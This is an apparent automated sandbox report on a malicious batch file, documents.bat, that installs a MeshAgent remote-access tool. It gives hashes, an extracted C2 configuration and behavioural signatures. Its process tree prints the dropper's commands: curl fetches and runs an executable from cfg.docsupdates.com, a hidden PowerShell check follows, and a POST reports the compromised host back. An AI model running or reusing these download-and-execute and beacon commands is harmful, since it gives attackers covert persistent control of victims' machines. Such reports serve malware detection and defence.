Analysis
- max time kernel
148s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 06:17
Static task
static1
Behavioral task
behavioral1
Sample
documents.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
16 signatures
150 seconds
Behavioral task
behavioral2
Sample
documents.bat
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
18 signatures
150 seconds
General
- Target documents.bat
- Size 2KB
- Sample260910-g173kassfx
- SHA256 257e4a96c2cb5dc43e13a2e51d4a125974f91381f2fc0f23bceb75804c77d442
- MD5 7e1fa882ecb187569d3798a6a9108835
- SHA1 120a035bfe273fe3d2b42426066da3badd1f5db1
- SHA512 e732623846c9d946767a1513a9f4dda27558f5de9aac0337454d8790e302b53856ded878f81c7b7bde481b204bdee6f65ceebadc6d9fefe2ebb5ac5c48968303
- TLSH T1CE4186AF38116172CBF316D196367A835F8E528F4B10E3C872A4DC0567CE2A591D35CC
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
meshagent
Version
-
2
Botnet
-
Anon
C2
-
http://pro.docsupdates.com:443/agent.ashx
Attributes
-
mesh_id
0x0AC694DACD8A806318238C10609F04C742E733C34A20E3E7B1294305847AB8E69261C3D8CE59AFF8486F5A6EA644108C
-
server_id
FC480CDE5A5133AADFDCC25AF817C744D126C80A6D2F71AD839EDF5684A37BDE87AAD23720518285EE49EE13E5911263
-
wss
wss://pro.docsupdates.com:443/agent.ashx
Signatures
- Detects MeshAgent payload 1 IoCs
resource yara_rule behavioral2/files/0x000c00000001c5d1-2.dat family_meshagent - Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
pid Process 2784 powershell.exe 2964 powershell.exe 4772 powershell.exe 4760 powershell.exe 4836 powershell.exe 1044 powershell.exe 5020 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 8 5984 curl.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\Program Files\\docs\\Mesh Agent\\MeshAgent.exe\" " cloudsync-service.exe - Executes dropped EXE 14 IoCs
pid Process 6012 cloudsync-service.exe 5760 MeshAgent.exe 5976 MeshAgent.exe 3936 MeshAgent.exe 6044 MeshAgent.exe 5256 MeshAgent.exe 5828 MeshAgent.exe 828 MeshAgent.exe 1340 MeshAgent.exe 4592 MeshAgent.exe 1296 MeshAgent.exe 4240 MeshAgent.exe 3800 MeshAgent.exe 2452 MeshAgent.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\symbols\dll\gdi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\DLL\bcrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\gdi32full.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\win32u.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\advapi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ntasn1.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\oleaut32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\gdiplus.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\user32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\dbgcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Windows\System32\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Windows\System32\msvcrt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\bcrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\advapi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ntasn1.pdb MeshAgent.exe File opened for modification C:\Windows\System32\exe\MeshService64.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\exe\MeshService64.pdb MeshAgent.exe File opened for modification C:\Windows\System32\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ntdll.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\msvcrt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\gdi32full.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Windows\System32\user32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\oleaut32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\user32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\combase.pdb MeshAgent.exe File created C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\C3DAC8618A464974D6A6EE8ECA687D7F9AF72851 MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\gdi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ntasn1.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\shell32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\gdiplus.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\win32u.pdb MeshAgent.exe File opened for modification C:\Windows\System32\oleaut32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\oleaut32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\user32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\kernelbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\gdi32full.pdb MeshAgent.exe File opened for modification C:\Windows\System32\kernelbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\kernelbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\shell32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\combase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\shell32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ntasn1.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\combase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\gdi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\gdiplus.pdb MeshAgent.exe File opened for modification C:\Windows\System32\msvcrt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\System32\kernelbase.pdb MeshAgent.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\docs\Mesh Agent\kernel32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dll\gdi32full.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\MeshAgent.log MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dll\ncrypt.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\gdi32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\MeshService64.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\sechost.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\ntdll.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dll\ws2_32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\sechost.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\ntasn1.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\dll\shell32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\MeshService64.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dbgcore.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\crypt32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\ncrypt.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\DLL\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\comctl32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dll\user32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\dll\advapi32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\dll\user32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\shell32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\ncrypt.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\DLL\bcrypt.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dll\ws2_32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\kernelbase.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\dll\ntasn1.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\dll\msvcrt.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\exe\MeshService64.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\dll\ws2_32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dbghelp.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dll\ntasn1.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\dll\combase.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\crypt32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\MeshAgent.log MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\MeshAgent.db MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\DLL\dbgcore.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\exe\MeshService64.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dll\kernelbase.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\ole32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\dll\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\dll\comctl32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dll\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dbghelp.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\dll\oleaut32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\DLL\imm32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\dll\shcore.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\dll\win32u.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\DLL\imm32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\dll\ntasn1.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\gdi32.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\dll\combase.pdb MeshAgent.exe File opened for modification C:\Program Files\docs\Mesh Agent\symbols\dll\oleaut32.pdb MeshAgent.exe - Drops file in Windows directory 12 IoCs
description ioc Process File created C:\Windows\SystemTemp\__PSScriptPolicyTest_exs5ssuc.qhf.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_sbqxpqjv.lca.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_vqawr45n.fi2.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_25zxw40s.oxb.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_4qj2qvp2.3ln.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_2vzut4kd.5q4.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_duz115h0.ub2.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_cu1q2owk.zss.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_iqeeirbm.3qd.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_1mcokjqa.v3e.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_usaixbzm.khx.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_wd04cqyx.jip.ps1 powershell.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3780 cmd.exe 3436 cmd.exe - Delays execution with timeout.exe 1 IoCs
pid Process 2912 timeout.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MeshAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 17 IoCs
pid Process 2784 powershell.exe 2784 powershell.exe 2784 powershell.exe 2964 powershell.exe 2964 powershell.exe 2964 powershell.exe 4772 powershell.exe 4772 powershell.exe 4772 powershell.exe 4760 powershell.exe 4760 powershell.exe 4836 powershell.exe 4836 powershell.exe 1044 powershell.exe 1044 powershell.exe 5020 powershell.exe 5020 powershell.exe - Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeDebugPrivilege 2784 powershell.exe Token: SeDebugPrivilege 2964 powershell.exe Token: SeDebugPrivilege 4772 powershell.exe Token: SeDebugPrivilege 4760 powershell.exe Token: SeDebugPrivilege 4836 powershell.exe Token: SeDebugPrivilege 1044 powershell.exe Token: SeDebugPrivilege 5020 powershell.exe - Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 3780 wrote to memory of 3436 3780 cmd.exe 90 PID 3436 wrote to memory of 1184 3436 cmd.exe 92 PID 1184 wrote to memory of 6084 1184 net.exe 93 PID 3436 wrote to memory of 2912 3436 cmd.exe 94 PID 3436 wrote to memory of 5984 3436 cmd.exe 95 PID 3436 wrote to memory of 6012 3436 cmd.exe 96 PID 3436 wrote to memory of 2784 3436 cmd.exe 101 PID 3436 wrote to memory of 1084 3436 cmd.exe 102 PID 5760 wrote to memory of 2964 5760 MeshAgent.exe 104 PID 5760 wrote to memory of 5976 5760 MeshAgent.exe 107 PID 3936 wrote to memory of 4772 3936 MeshAgent.exe 110 PID 3936 wrote to memory of 6044 3936 MeshAgent.exe 112 PID 5256 wrote to memory of 4760 5256 MeshAgent.exe 115 PID 5256 wrote to memory of 5828 5256 MeshAgent.exe 117 PID 828 wrote to memory of 4836 828 MeshAgent.exe 120 PID 828 wrote to memory of 1340 828 MeshAgent.exe 122 PID 4592 wrote to memory of 1044 4592 MeshAgent.exe 125 PID 4592 wrote to memory of 1296 4592 MeshAgent.exe 127 PID 4240 wrote to memory of 5020 4240 MeshAgent.exe 130 PID 4240 wrote to memory of 3800 4240 MeshAgent.exe 132 - cURL User-Agent 2 IoCs
Uses User-Agent string associated with cURL utility.
description flow ioc HTTP User-Agent header 8 curl/8.8.0 HTTP User-Agent header 11 curl/8.8.0
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\documents.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3780 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\documents.bat"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3436 -
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵PID:6084
-
-
-
C:\Windows\system32\timeout.exetimeout /t 3 /nobreak3⤵
- Delays execution with timeout.exe
PID:2912
-
-
C:\Windows\system32\curl.execurl.exe -sL --retry 3 --retry-delay 2 -o "C:\Users\Admin\AppData\Local\Temp\cloudsync-service.exe" "https://cfg.docsupdates.com/agent"3⤵
- Downloads MZ/PE file
PID:5984
-
-
C:\Users\Admin\AppData\Local\Temp\cloudsync-service.exe"C:\Users\Admin\AppData\Local\Temp\cloudsync-service.exe" -fullinstall3⤵
- Sets service image path in registry
- Executes dropped EXE
PID:6012
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "if (Get-Service | Where-Object { ($_.Name -match 'docs' -or $_.DisplayName -match 'docs') -and $_.Status -eq 'Running' }) { exit 0 } else { exit 1 }"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2784
-
-
C:\Windows\system32\curl.execurl.exe -s -X POST -H "Content-Type: application/json" -d "{\"content\":\"[YRWKJLDU/Admin] docs running OK\"}" "https://cfg.docsupdates.com/report"3⤵PID:1084
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:4252
-
C:\Program Files\docs\Mesh Agent\MeshAgent.exe"C:\Program Files\docs\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:5760 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2964
-
-
C:\Program Files\docs\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5976
-
-
C:\Program Files\docs\Mesh Agent\MeshAgent.exe"C:\Program Files\docs\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:3936 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4772
-
-
C:\Program Files\docs\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:6044
-
-
C:\Program Files\docs\Mesh Agent\MeshAgent.exe"C:\Program Files\docs\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5256 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4760
-
-
